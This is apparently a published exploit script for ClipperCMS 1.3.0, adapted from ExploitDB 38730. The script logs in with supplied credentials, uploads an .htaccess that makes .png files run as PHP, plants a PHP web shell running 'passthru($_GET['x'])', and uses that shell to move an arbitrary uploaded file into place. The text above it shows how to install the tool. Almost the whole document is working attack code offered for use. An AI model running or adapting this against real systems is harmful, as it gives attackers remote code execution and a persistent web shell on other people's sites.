This is a variation of this exploit using Tinyscript and Pybots for uploading a shell.
$ pip install tinyscript
$ tsm install clippercms-shell-uploader
This is a variation of this exploit using Tinyscript and Pybots for uploading a shell.
$ pip install tinyscript
$ tsm install clippercms-shell-uploader
| #!/usr/local/bin/python | |
| # Exploit for ClipperCMS 1.3.0 Code Execution vulnerability | |
| # Based on: https://www.exploit-db.com/exploits/38730 | |
| from pybots import HTTPBot | |
| from tinyscript import * | |
| __author__ = "Alexandre D'Hondt" | |
| __email__ = "[email protected]" | |
| __version__ = "1.0" | |
| __copyright__ = ("A. D'Hondt", 2020) | |
| __license__ = "gpl-3.0" | |
| __reference__ = "https://www.exploit-db.com/exploits/38730" | |
| __examples__ = ["https://www.example.com/clipper-cms/ user s3cr3t shell.php"] | |
| __doc__ = """ | |
| This tool adapts exploit 38730 of ExploitDB for uploading a Web shell. | |
| """ | |
| BANNER_FONT = "standard" | |
| BANNER_STYLE = {'fgcolor': "lolcat"} | |
| SCRIPTNAME_FORMAT = "none" | |
| class Exploit(HTTPBot): | |
| def __init__(self, url, username, password, **kwargs): | |
| super(Exploit, self).__init__(url, **kwargs) | |
| self.session.headers.update({'Referer': self.url}) | |
| # first, try to login | |
| data = {"ajax": "1", "username": username, "password": password} | |
| self.post("manager/processors/login.processor.php", data=data) | |
| if "Incorrect username or password" in self.response.text: | |
| self.logger.critical("Bad username or password") | |
| # then, check for upload privilege | |
| self.get("manager/index.php?a=31") | |
| if "You don't have enough privileges" in self.response.text: | |
| self.logger.critical("Not enough privileges") | |
| m = re.search("var current_path = '(.*)';", self.response.text) | |
| path = m.group(1) | |
| self.data = {'path': m.group(1)} | |
| def _upload(self, filename, content): | |
| self.post("manager/index.php?a=31", data=self.data, files={'userfile[0]': (filename, content)}) | |
| def upload(self, filename, content=None): | |
| # upload a remote command PHP script | |
| self._upload(".htaccess", "AddType application/x-httpd-php .png") | |
| self._upload("404.png", "<?php passthru($_GET['x']) ?>") | |
| # upload the file with PNG extension then rename it | |
| tmp, ext = os.path.splitext(filename) | |
| tmp += ".png" | |
| if not content: | |
| with open(filename) as f: | |
| content = f.read() | |
| self._upload(tmp, content) | |
| self.get("404.png?x=mv {} {} ".format(tmp, filename)) | |
| if self.response.status_code == 200: | |
| self.logger.info("File uploaded at {}".format(self.url.rstrip("/") + "/" + filename)) | |
| else: | |
| self.logger.critical("File upload failed") | |
| if __name__ == '__main__': | |
| parser.add_argument("url", help="base URL of ClipperCMS 1.3.0") | |
| parser.add_argument("username", help="username") | |
| parser.add_argument("password", help="password") | |
| parser.add_argument("file", type=ts.file_exists, required=True, help="file to be uploaded") | |
| initialize() | |
| with Exploit(args.url, args.username, args.password, verbose=args.verbose) as bot: | |
| bot.upload(args.file) |